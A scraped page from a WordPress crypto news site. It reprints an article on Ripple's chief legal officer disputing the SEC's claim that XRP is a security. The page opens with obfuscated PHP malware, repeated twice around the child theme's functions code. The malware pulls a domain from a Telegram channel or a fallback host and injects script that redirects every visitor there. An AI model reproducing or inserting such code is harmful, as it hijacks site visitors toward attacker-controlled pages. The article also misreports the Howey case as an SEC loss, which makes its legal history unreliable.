if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); }if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>/** * The header for our theme * * This is the template that displays all of the section and everything up until
* * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package CoverNews */ ?> > Ripple Says SEC is Wrong to Characterize XRP as a Security – CoinsMegaNews

Ripple Says SEC is Wrong to Characterize XRP as a Security

3 years ago CryptoExpert
Ripple Chief Legal Officer Counters SEC Case That XRP is a Security

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Stuart Alderoty, the chief legal officer at Ripple, has questioned the soundness of the Securities and Exchange Commission’s (SEC) lawsuit against the crypto firm.

In a tweet on Saturday. Alderoty pointed to a 1946 case in which the U.S. Supreme Court ruled against the SEC.

Ripple vs The SEC

In one of the most protracted (and expensive) legal battles the crypto space has ever seen, Ripple has contested the SEC’s claim that the XRP cryptocurrency is a security.

As the SEC argued in a lawsuit, XRP should be considered a security. If it is deemed as such, Ripple would be guilty of breaching securities law by not registering the token with the SEC.

The question of whether cryptocurrencies are securities or not has been brewing for years. Any ultimate judgment for or against the SEC’s claims will have lasting implications for the crypto sector. And the commission’s dogged insistence on the securities status of digital assets has had some interesting consequences.

Otherwise, divergent crypto firms have forged alliances against a common enemy in the SEC. For example, Coinbase and Ripple Lawyers have met to discuss how best to navigate the ongoing lawsuit and disputed legal status of XRP.

Going forward, the Ripple case may finally provide the crypto community with a court decision that settles the matter once and for all.

The Howey Case

In his tweet, Alderoty references SEC vs W.J. Howey Co, a 1946 case in which the court ruled in favor of the Howey Company.

The Howey Company sold tracts of citrus groves to buyers in Florida. They would then lease the land back to Howey. Company staff would then tend to the groves and sell the fruit on behalf of the owners. Both parties shared in the revenue.

Back then, like it is trying to do with Ripple now, the SEC claimed that the Howey company’s business amounted to selling unregistered securities because the transactions qualified as investment contracts.

However, the Supreme Court ruled that Howey’s agreements with buyers did not count as investment contracts. That ruling has since become a foundational case in establishing whether or not a given asset or contract is subject to securities law.

In what has become known as the Howey Test, an investment contract exists if there is an “investment of money in a common enterprise with a reasonable expectation of profits to be derived from the efforts of others.”

From Citrus Groves to Crypto Contracts

As Alderoty pointed out in his tweet, the Howey Test rests upon exactly how a “common enterprise” is defined.

Back in 1945, he notes that the SEC unsuccessfully argued that an investment in a common enterprise was unnecessary provided there was a “community of interest.”

In Ripple’s case, the community of interest would be anyone who buys XRP. And of course, many people to purchase the token anticipating that the price of XRP will rise. But because Ripple offers no assurances that investors will turn a profit, Alderoty implies that there is no common enterprise.

“The SEC was wrong then and it is still wrong now. Common Interest ≠ Common Enterprise,” he stressed.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content.

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